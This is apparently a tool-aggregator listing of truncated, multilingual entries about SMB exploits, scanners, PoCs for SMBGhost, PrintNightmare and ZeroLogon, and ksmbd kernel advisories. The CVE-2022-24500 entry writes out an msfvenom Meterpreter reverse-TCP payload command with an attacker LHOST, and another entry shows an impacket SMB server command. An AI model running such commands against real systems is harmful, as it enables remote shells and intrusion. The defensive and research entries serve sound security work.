MSFinger

MSFinger - Microsoft 网络服务指纹识别工具 版本： 1.0 作者： Laurent Gaffie 公司： Secorizon 概述 MSFinger 是一款面向内网侦察的高性能网络指纹识别工具。它能够快速识别 Microsoft 服务、检测安全配置，并突出显示 SMB、LDAP 和 LDAPS 协议中的潜在漏洞。 主要功能： 针对内网优化的快速并发扫描（默认超时 1 秒） SMB/SMB2/SMB3 版本与签名检测 LDAP/LDAPS 签名与通道绑定检测 操作系统版本识别及内部版本号映射 使用 SQLite 数据库持久化保存扫描结果 彩色输出，突出显示安全风险 支持...

CVE-2020-0796-DoS

CVE-2020-0796 DoS PoC SMBGhost A simple demonstration exploiting CVE-2020-0796. This script will induce a BSoD in vulnerable machines. Pure Python 3 with no additional dependencies required. Usage python CVE-2020-0796-DoS.py Credit Hard-coded packet data was derived from this PoC script by maxpl0...

ntlm-scanner

新着！CVE-2020-1472（ZeroLogon）のエクスプロイトスキャン ネットワーク内のドメインコントローラをスキャンして、CVE-2020-1472の 実際の 悪用を検出します 例: root@kitploit: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target...

SMBetray

SMBetray Version 1.0.0. このツールは、攻撃者が安全でないSMB接続を傍受して変更する能力、および資格情報が既知であれば一部の安全なSMB接続を侵害する能力を示すPoC（概念実証）です。 背景 Defcon26で「SMBetray - Backdooring and Breaking Signatures」として公開されました。...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 描述 这个简单的 Python 脚本允许你使用 SMB 协议向目标 IP 地址和端口发送 payload。它旨在演示用于教育目的的 SMB 漏洞利用 payload 的使用。该 payload 是一个硬编码的 SMB 消息，包含特定的字节序列。 ⚠️ 重要说明 负责任地使用：此脚本仅供教育目的。请勿将其用于未经授权或恶意活动。 Payload：脚本中包含的 payload 是一个示例，可能无法适用于所有目标或场景。 法律影响：未经授权扫描、测试或利用系统是非法的且不道德的。在使用此脚本之前，请确保你已获得适当授权。...

CVE-2022-24500

CVE-2022-24500 RCE エクスプロイト Windows SMB リモートコード実行の脆弱性 脆弱性: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 ステップ1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin ステップ2 root@kitploit: msf5 use...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...

SMBv3.1.1-scan---CVE-2020-0796

SMBv3-scan---CVE-2020-0796 マシンがSMBv3を実行しているかどうかを確認する小さなスキャナー（CVE-2020-0796の脆弱性の可能性）...

CVE-2025-55234

CVE-2025-55234 This vulnerability allows attackers to perform relay attacks against the SMB Server Message Block protocol. If successful, it can lead to Elevation of Privilege EoP essentially allowing unauthorized users to gain higher-level access on a system By Mark Mallia Issue This vulnerabili...

cve-2023-23397-detection-lab

CVE-2023-23397 Detection & Mitigation Research Lab Overview This project is a defensive cybersecurity research lab focused on the network behavior associated with CVE-2023-23397. The project studies suspicious outbound SMB and NTLM authentication from a Windows endpoint and demonstrates a complet...

MSF_PassSpray_Wordlist_Generator

パスワードスプレーワードリスト生成ツール Metasploitフレームワーク用の独自のワードリストを作成し、被害者のドメイン内のSMBなどのさまざまなネットワークプロトコルに対してパスワードスプレー攻撃を実行するのに役立つ便利なツールです : 説明 Metasploitには、さまざまなサービスやプロトコルに対してブルートフォース攻撃を実行するために利用できる複数のモジュールがあります。例として「SMBLogin」モジュールを挙げると、SMBプロトコルが開放されているシステムに対して複数のログインをテストすることで、被害者のパスワードを取得しようとします 。 倫理的なハッカーとして...

CVE-2020-0796-POC

CVE-2020-0796 事前認証POC c 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける CVE-2020-0796 / "SMBGhost"を確認するためのPOC 期待される結果: ブルースクリーン 教育目的および企業環境でのテスト専用です。 ZecOpsは本コードについて一切の責任を負いません。自己責任で使用してください。...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw resides in the handling of SMB2SESSIONSETUP commands. The problem arises due to a lack of control over resource consumption. An attacker can exploit this vulnerability to...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the processing of SMB2SESSIONSETUP and SMB2LOGOFF commands. The issue arises due to the lack of proper locking when performing operations on an object. An...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.9. ksmbd does not validate the SMB request protocol ID, resulting in an out-of-bounds read...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Fixed an issue where shareconf was freed after use, in compound requests. smb2getksmbdtcon reuses work-tcon in compound requests without validating tcon-tstate. ksmbdtreeconnlookup checks that tstate is equal to...

CVE-2026-74521

In the Linux kernel, the following vulnerability has been resolved: ksmbd: use memcmp to compare ClientGUIDs ClientGUID is a fixed-size binary value and can contain embedded NUL bytes. strncmp stops comparing at the first NUL byte, so different ClientGUID values can incorrectly be treated as equa...

CVE-2026-72492 ksmbd: fix use-after-free in same_client_has_lease()

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in sameclienthaslease sameclienthaslease returns an opinfo pointer from ci-moplist after dropping ci-mlock without taking a reference. smbgrantoplock then dereferences that pointer in copylease and when...